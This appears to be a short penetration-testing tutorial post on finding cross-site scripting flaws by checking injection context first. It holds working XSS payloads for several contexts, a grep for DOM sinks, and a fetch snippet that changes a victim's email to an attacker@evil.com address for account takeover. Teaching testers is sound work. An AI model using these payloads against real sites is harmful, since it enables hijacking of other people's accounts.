XSS Testing Methodology: Context First, Payloads Second

Day 13 of 60. The #1 reason XSS payloads fail isn't WAFs or filters -- it's testers ignoring injection context.

The Context-First Approach

Before crafting any payload, inject a plain string and view source:

# Quick reflection mapping with curl curl -s "https://target.com/search?q=XSSTESTCANARY" | grep -n "XSSTESTCANARY" 

Then match your payload to the context:

HTML body: <svg onload=alert(1)> Attribute: " onfocus=alert(1) autofocus x=" JS string: ';alert(1);// URL/href: javascript:alert(1) 

DOM XSS Quick Audit

Search JS files for dangerous sinks:

# Find potential DOM XSS sinks in downloaded JS grep -rn 'innerHTML\|document\.write\|eval(\|\.html(' static/js/ 

Then trace backwards -- does any sink receive data from location, document.referrer, or postMessage? That's your DOM XSS.

Real Impact Demo

Don't report alert(1). Show account takeover:

fetch('/api/me/email', { method: 'PATCH', headers: {'Content-Type':'application/json', 'X-CSRF': document.querySelector('[name=csrf]').value}, body: '{"email":"attacker@evil.com"}' }); 

This bypasses CSRF because XSS runs same-origin. One stored XSS in a comment = every reader's account compromised.

Tomorrow: hands-on lab practice with DVWA.